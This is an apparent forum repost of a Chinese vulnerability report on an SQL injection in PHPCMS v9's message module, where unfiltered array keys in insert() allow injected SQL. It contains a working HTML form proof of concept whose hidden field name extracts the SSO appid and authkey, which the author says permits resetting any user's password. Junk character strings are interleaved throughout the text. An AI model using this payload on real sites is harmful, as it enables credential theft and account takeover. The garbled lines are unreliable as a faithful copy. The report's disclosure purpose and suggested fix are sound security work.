|
|
简要描述:# O, H5 E$ E/ V
( c# _4 t. S* K( P1 r
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
. Q8 ^+ o/ Q4 p8 u* V% r8 J
+ B* |( o) G+ y0 s2 u+ |) j- ~$ ]' v明天再更新下一个漏洞。7 g' f6 l( f( q( ?2 J
详细说明:
1 k* F8 |) X1 e在/phpcms9/phpcms/modules/message/index.php中有代码如下:7 m2 \) e; E7 v% N! [
/ F7 L0 k. E1 D7 Y* I
$messageid = $this->message_db->insert($_POST['info'],true);
* Y q5 h1 J! W6 H( n) S
5 L7 F/ t ]3 X$ \& e' p7 }3 N/ E3 @9 l7 k, M6 m7 I
insert方法是key value的,代码如下:3 C* u/ I3 S4 a1 e- F+ }: w. {
" T* f* e6 A" ~& e6 Z- U1 m
public function insert($data, $table, $return_insert_id = false, $replace = false) {* E) V7 b. [) V/ ~9 F1 j! j
if(!is_array( $data ) || $table == '' || count($data) == 0) {
# z! m, X7 h3 |- W. _1 O return false;
' |( z4 _) d. @( u5 C) Z }1 [* L3 l5 h7 o. i9 F
+ I9 Q" c8 o% ]6 R* m
$fielddata = array_keys($data);
% i, U" D5 ]! r( \0 [2 v $valuedata = array_values($data);0 ~% y' v5 b) Z& x3 S3 ?
array_walk($fielddata, array($this, 'add_special_char'));' W l( X+ J- D; q& J3 y' D
array_walk($valuedata, array($this, 'escape_string'));' v. n1 f. w6 h! A, [
G+ |8 o( q7 g* B+ g $field = implode (',', $fielddata);
7 `4 C5 Q! D H8 R* K $value = implode (',', $valuedata);
! t; {4 g( [. b+ {& k' E$ \1 b. \/ W# b: }
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';5 r* _" C1 ~: }0 g c) q/ Y& m
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
3 z% w" m; ]- c" t" @. ~ $return = $this->execute($sql);$ }8 L z3 u9 X/ h/ G, B
return $return_insert_id ? $this->insert_id() : $return;
, ~& s8 m2 J5 E% c' N }
6 k/ u1 f" y3 \+ Z
+ E1 }# y# |8 @* V: ^, M" p$ d( S! h
嗯,很遗憾的是
2 {( F& v- F5 E5 v
4 N6 u4 q1 h( I. farray_walk($fielddata, array($this, 'add_special_char'));
" D6 x3 o9 ^3 J* d3 B6 w
' D5 j0 Q1 d2 J6 J3 f
- K, y8 D0 R* a中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。3 P/ @ F7 @/ E1 d
/ b) p+ w. j2 _- r2 M
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。) p, U9 M6 x9 y& S7 v
. G* J ]1 l! [- s2 G3 n
漏洞证明:8 Y8 x4 a; v; E {) I
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。) e9 b; P k+ H3 _; j
* E0 {) [& P1 }( g& Q: U; ?' W: }
) l" Z/ L- u: H
表单如下:用户名什么的得自己改一改。6 F, f/ d2 a1 X1 _4 \& A
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">! I/ J, c8 P- ?! k
<table width="100%" cellspacing="0" class="table_form">
4 d8 ?# }7 L6 G7 e7 B3 s4 v+ h/ E<tr>
5 p- D7 H/ b: h: z<th>标 题:</th>
x6 W: J2 t3 D. c+ {. T( ~<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>4 ]4 G( z+ e: d/ P4 I
</tr>
* v) h; L& M: ?% X$ v0 R9 }<tr>3 k2 L- A! Q. E: k2 k: S- f4 \
<th>内 容:</th>
" Q' k' P3 a0 P; {9 V<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>' n7 T% o+ o( q& M3 e4 A4 j
</tr>" {* A! H+ Z, [
<input type="hidden" name="info[replyid]" value="2" />
/ k2 } I: i" ~0 s<input type="hidden" name="info[send_to_id]" value="cc" /> 3 p/ L. i+ s9 R: d4 H3 e% c6 @) B9 E* l
<input type="hidden" name="info[send_from_id]" value="hh">% l: i' O k( H+ h( p3 ]
<!-- 漏洞的利用重点在这里开始 -->
! f/ o2 |6 S: F( I& S7 a+ B<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
. @9 k5 L1 [* T, {9 s9 `( S4 X<!-- 漏洞的利用重点在这里结束 -->6 J+ y# I$ N9 E' v% {9 p- I
<tr>- Q) ?% k- l0 X$ j% c
<th>验证码:</th>% U+ k- m% [3 O8 x
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>+ A+ m/ U; Y) }+ l
</tr>
) m( v, B0 [; i0 y8 `<tr>
Y# y) w/ ^2 m: H3 X @9 j' x<td></td>
2 B% ~) D l/ W! q% Y<td colspan="2"><label>: e& l' L5 ~/ j" i) k
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>& j' p/ K4 N) d% u
</label></td>
7 D6 p B% R2 ? H1 u</tr>
, u, _; L8 f) M, d- h& S</table>
/ d0 i# e6 G' h$ t1 b" Y</form>
" d4 ]$ H8 a% q* R/ t" P1 d在add_special_char函数内对key做过滤就可以了。$ [% G) K2 v x" M# O
9 W7 M9 e: g7 R
A- e6 p- J# p0 W [
; h2 w1 A1 r$ S W9 K! ^ |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|